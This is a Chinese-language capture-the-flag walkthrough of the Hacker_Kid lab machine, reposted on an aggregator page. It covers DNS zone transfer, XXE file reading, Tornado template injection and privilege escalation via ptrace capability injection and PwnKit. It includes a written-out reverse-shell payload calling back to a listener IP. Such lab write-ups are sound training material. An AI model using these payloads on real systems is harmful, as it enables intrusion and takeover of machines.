5、Hacker_Kid-v1.0.1

news2024/12/24 8:38:17

中等难度 目标root权限

先进行一波IP地址发现

netdiscover -i eth0 -r 192.168.1.1/24

发现存在的靶机ip

进行一波端口的探测

发现是一个apache的服务和一个tornado的网站

这里有个细节部分,53端口常见的情况都是走的udp协议做的域名解析,这里查询出来是tcp协议,DNS里面的tcp协议一般用来做电脑上服务器与服务器之间的数据同步、区域传输(zone transfers)和更新之类的操作,udp协议用来做域名解析。

访问80端口以及9999端口

首先尝试一下这个9999端口的弱口令,尝试了一下常见的没有成功,在80页面看一看

好像有什么提示

顺便扫描一下目录文件

网站上面还有几个点击的地方

直接点击不会跳转过去,我扫描目录的时候扫描出app.html把这个#删除就可以直接访问了功能点好多。

摸了一圈这个功能点好像都失效了,回到前面的那个html的源码提示的地方有个page_no参数说什么使用get请求尝试一下

输入了页面有显示,喊我挖深一点

后面接参数的值,这里可以猜测,因为是page那么很有可能是数字,那么就跑一下

在值为21的时候出现了更多的提示,给了个域名hackers.blackhat.local

它说它留了很多的子域名作为后门,然后给出了一个子域名,这里要说到域名访问和使用ip访问是有不同的情况的,常见的直接访问ip和访问域名解析到的是同一个网站,但是也有一种可能是做了虚拟主机服务,不同的域名访问可以得到不同的网站内容。

那么就修改一波hosts文件

这里记得将子域和域名都做映射

不过当使用这个子域去访问的时候任然得到了原来ip访问的结果,看来不是这里

然后结合它一直在提示的DIG dig命令,其实我没有用过这个命令,所以也没有想到这个东西,再结合之前它一再提起的域名以及开放的53端口和前面说到的tcp,这个blackhat.local域名下面可能还隐藏着其他的子域名

看了看dig的使用,有一个axfr的使用方式

基本查询

dig example.com
这个命令会返回example.com的所有DNS记录。
指定记录类型

dig MX example.com
这个命令会返回example.com的MX(邮件交换)记录。
使用@符号指定DNS服务器

dig @8.8.8.8 example.com
这个命令会使用Google的公共DNS服务器(8.8.8.8)来查询example.com的记录。
递归查询

dig +trace example.com
这个命令会执行递归查询,显示从根DNS服务器到目标域名的完整解析过程。
显示统计信息
:
dig +stats example.com
这个命令会在输出的最后显示统计信息,如查询时间等。
使用TCP协议

dig +tcp example.com
默认情况下,dig 使用UDP协议进行查询。这个命令强制dig使用TCP协议。
指定查询类

dig +nocmd +nostats +noquestion +answer -t CH example.com
这个命令会显示查询的权威记录(CH代表CHAOS类)。
使用AXFR进行区域传输
:
dig axfr example.com @ns.example.com
这个命令尝试执行一个AXFR区域传输,从example.com的名称服务器ns.example.com获取所有记录。请注意,这通常需要适当的权限。
使用搜索域和搜索列表

dig search example.com @ns.search.com
这个命令会在指定的搜索域中查找example.com的记录。

网络断了一下,靶机新地址 192.168.100.39

这其实属于信息泄露,DNS服务器不应该将自己的解析信息展示出来的,那么从上面返回的域名中可以找到新的域名,拿着这几个新的域名先做一下hosts映射然后再访问一下

发现在访问http://hackerkid.blackhat.local/ 有了新的页面

这里注意一个小细节,那就是换了不同的域名配合之前扫到的那个9999端口也可以去尝试,毕竟不同域名加999端口可以又会有不同的页面。

简单测试一下这个网页有没有一些漏洞,一个注册框,没有明显的SQL注入,抓包发现使用的xml进行传输的数据,那么可以考虑xxe

也是很简单的属于直接引用的外部实体注入类型

看了一下这个saket可以登录,然后既然可以文件读取,那么就要想办法读取一些有价值的东西,比如尝试读取公私钥,读取这个saket的家目录下面的一些隐藏文件

另外网站使用的是php所以可以搭配php伪协议来实现文件内容的读取,有些文件不将他变为base64还读不出来。

发现访问了一圈好多东西都读不到,不过读取到了.bashrc 这是一个文件是 Bash shell 的一个配置文件,它保存了用户级的配置信息,这些配置会在每次启动新的 Bash 会话时被加载。这个文件通常位于用户的主目录下,例如 /home/username/.bashrc

解码后发现最后面有个

#Setting Password for running python app

username="admin"

password="Saket!#$%@!!"

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
    # We have color support; assume it's compliant with Ecma-48
    # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
    # a case would tend to support setf rather than setaf.)
    color_prompt=yes
    else
    color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

这账号密码有点眼熟,可能就是那个9999端口的服务的账号密码,然后尝试后并不是的

。。。原来是这个密码只是name是saket,那个admin是用来迷惑的。

进去之后就是这样的

这个在说你的名字是什么,其实就是在隐隐约约的告诉我们需要一个参数name,但是这个也是猜测的。

输入参数name=1页面回显了1,有一种xss的感觉,但是只是xss肯定是没有用的。可以怀疑会不会是SSTI因为这个端口开放的服务是tornado的服务。

通过检测{{2-1}}的时候进行了计算页面回显的1

tornado框架的SSTI我也不怎么了解,不过SSTI的打法我倒是知道,不过我之前遇到的都是先获取基类什么什么的一步一步获取到可以执行命令的类然后去执行。但是这里直接import os 然后os.system我倒是不知道,另外这里还得url编码一下

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.100.23/4455 0>&1"')}}

url编码:

        %7b%25+import+os+%25%7d%7b%7bos.system(%27bash+-c+%22bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.100.23%2f4455+0%3e%261%22%27)%7d%7d

看了一眼不在docker中

然后看了一眼history的信息

看着有些奇怪的东西

然后这里使用了一个capabilities提权方式,这是我没有听说过的。以及CVE-2021-4034通杀漏洞,这个靶机主要还是考察的那个capabilities提权的方式,至于这个CVE只是碰巧。

使用命令查看/sbin/getcap -r / 2>/dev/null

可以看到这个ptrace是有可能进行进程注入实现权限提升的

exp脚本:https://www.cnblogs.com/zlgxzswjy/p/15185591.html

然后寻找一个root权限的进程,使用命令ps -eaf|grep root

也可以直接使用脚本批量进行注入尝试

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 injection.py $i; done

就找一个apache的进程进行注入

然后将脚本上传上去使用python2.7进行执行注入

此脚本执行成功后会创建一个后门在5600端口

然后可以使用nc直接进行连接了

另外使用CVE-2021-4034进行提权,使用脚本:GitHub - ly4k/PwnKit: Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

直接将编译好的PwnKit传入靶机,然后赋予权限后./PwnKit运行

确实也可以直接提取至root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1925985.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

manim学习笔记04:使用manim,表示向量和加法。

manim学习笔记04:使用manim,表示向量和加法。 一,相关定义 1.有向线段: 规定若线段 AB的端点为起点为A,B为终点,则线段就具有了从起点 A到终点 B的方向和长度。具有方向和长度的线段叫做有向线段。 接下…

多个版本JAVA切换(学习笔记)

多个版本JAVA切换 很多时候,我们电脑上会安装多个版本的java版本,java8,java11,java17等等,这时候如果想要切换java的版本,可以按照以下方式进行 1.检查当前版本的JAVA 同时按下 win r 可以调出运行工具…

牛客周赛51

思路&#xff1a;求a mod 上b后的值为amodb, 求gcd(b, amodb)即可 int gcd(int a,int b){return b ? gcd(b, a % b) : a; }void solve(){string a;cin >> a;int b;cin >> b;int amodb 0;for(auto c : a){amodb (amodb * 10 (c - 0)) % b;}cout << gcd(b…

Access denied for user ‘root‘@‘localhost‘ (using password: YES)解决办法

在Spring配置数据源时&#xff0c;当使用Spring容器加载druid.properties数据库连接池配置文件时&#xff0c;容易碰到create connection SQLException, url: jdbc:mysql://127.0.0.1:3306/mydbs, errorCode 1045, state 28000 java.sql.SQLException: Access denied for user …

【 香橙派 AIpro评测】烧系统运行部署LLMS大模型体验Jupyter Lab AI 应用样例(新手入门)

文章目录 一、引言⭐1.1下载镜像烧系统⭐1.2开发板初始化系统配置远程登陆&#x1f496; 远程ssh&#x1f496;查看ubuntu桌面&#x1f496; 远程向日葵 二、部署LLMS大模型2.1 快速启动&#x1f496;拉取代码&#x1f496;下载mode数据&#x1f496;启动模型对话 三、体验 内置…

JavaScript 如何中止Promise

目录 方法 1&#xff1a;使用新的 Promise.withResolvers() 方法 2&#xff1a;使用 AbortController 在 JavaScript 中&#xff0c;你可能已经知道如何取消请求&#xff1a;对于 XHR 可以使用 xhr.abort() &#xff0c;对于 fetch 可以使用 signal 。但是你如何取消一个普通…

网络技术相关知识概念

网络技术&#xff1a; 进程&#xff08;Process&#xff09; 定义&#xff1a;进程是程序的一次执行过程&#xff0c;它有自己的内存空间和系统资源&#xff08;资源独立&#xff09;。特性&#xff1a; 每个进程都有唯一的PID&#xff08;进程ID&#xff09;。进程间通信&am…

6、evil box one

低—>中 目标&#xff1a;获取root权限以及2个flag 主机发现 靶机 192.168.1100.40 或者使用fping -gaq 192.168.100.1/24发现主机使用ping的方式。 端口扫描 发现开放了22和80 可以使用-A参数&#xff0c;-A参数会得到更多的扫描细节 访问80端口就是一个apache的基本的…

微服务-注册中心

一. 分布式系统架构与微服务 分布式系统架构和微服务是现代软件开发中常见的两种概念&#xff0c;它们通常结合使用来构建灵活、可扩展和高效的应用程序。 分布式系统架构&#xff1a; 分布式系统架构是指将一个单一的应用程序或服务拆分成多个独立的部分&#xff0c;这些部分…

讲讲 JVM 的内存结构(附上Demo讲解)

讲讲 JVM 的内存结构 什么是 JVM 内存结构&#xff1f;线程私有程序计数器​虚拟机栈本地方法栈 线程共享堆​方法区​注意永久代​元空间​运行时常量池​直接内存​ 代码详解 什么是 JVM 内存结构&#xff1f; JVM内存结构分为5大区域&#xff0c;程序计数器、虚拟机栈、本地…

50、haproxy+keepalive+nginx

keepalivehaproxy 客户端&#xff1a;192.168.168.21haproxy1&#xff1a;192.168.168.43haproxy2&#xff1a;192.168.168.44vip&#xff1a;192.168.168.100nginx1:192.168.168.31nginx2:192.168.168.32haproxykeepalive做高可用nginx做后台haproxy1haproxy2一起操作&#x…

实验发现AI提高了个人创造力,但降低了整体创造力

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

从链表中移除在数组中存在的节点 | 力扣题解

⭐简单说两句⭐ ✨ 正在努力的小叮当~ &#x1f496; 超级爱分享&#xff0c;分享各种有趣干货&#xff01; &#x1f469;‍&#x1f4bb; 提供&#xff1a;模拟面试 | 简历诊断 | 独家简历模板 &#x1f308; 感谢关注&#xff0c;关注了你就是我的超级粉丝啦&#xff01; &a…

【自监督学习】iBOT in ICLR 2022

一、引言 论文&#xff1a; iBOT&#x1f916;: Image BERT Pre-Training with Online Tokenizer 作者&#xff1a; ByteDance 代码&#xff1a; iBOT 注意&#xff1a; 该方法是在另一个自监督预训练方法基础上的改进&#xff0c;学习之前建议掌握DINO。 特点&#xff1a; 对…

数据结构之初始二叉树(1)

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a;数据结构&#xff08;Java版&#xff09; 目录 树型结构 树的概念 与树的有关概念 树的表示形式 树的应用 二叉树 概念 两种特殊的…

MFC流的形式读取图片

1.基于对话框布置控件 2.给控件绑定变量 3.给按钮控件添加响应函数 void CMFC流的形式读取图片Dlg::OnBnClickedButton1() {// TODO: 在此添加控件通知处理程序代码//HDC mECGDC; // 设备描述表句柄//CPen mECGDrawPen; // ECG波形画笔//RECT mECGRect; // 在该矩形区域内画…

Three.js相机简明教程

相机校准是 3D 计算机图形学中的一个基本概念&#xff0c;涉及设置虚拟相机以模拟真实世界相机的视角和行为。在 Three.js&#xff08;一种流行的 3D 渲染 JavaScript 库&#xff09;中&#xff0c;了解相机校准对于创建逼真且身临其境的 3D 场景至关重要。在本文中&#xff0c…

AIGC是什么,与AI绘画有什么关系,一篇文章带你了解AI绘画的前世今生

在讲解AIGC和AI绘画之前&#xff0c;我们先看看什么是AI以及AI的历史。 AI历史发展轨迹 什么是人工智能 人工智能(Artificial intelligence&#xff0c;简称AI)亦称机器智能&#xff0c;指由人制造出来的机器所表现出来的智能。通常人工智能是指用普通计算机程序来呈现人类智…

ConfigMap-secrets-静态pod

一.ConfigMap 1.概述 ConfigMap资源&#xff0c;简称CM资源&#xff0c;它生成的键值对数据&#xff0c;存储在ETCD数据库中 应用场景&#xff1a;主要是对应用程序的配置 pod通过env变量引入ConfigMap&#xff0c;或者通过数据卷挂载volume的方式引入ConfigMap资源 官方解释…

成为git砖家(1): author 和 committer 的区别

大家好&#xff0c;我是白鱼。一直对 git author 和 committer 不太了解&#xff0c; 今天通过 cherry-pick 的例子搞清楚了区别。 原理 例如我克隆了著名开源项目 spdlog 的源码&#xff0c; 根据某个历史 commit A 创建了分支&#xff0c; 然后 cherry-pick 了这个 commit …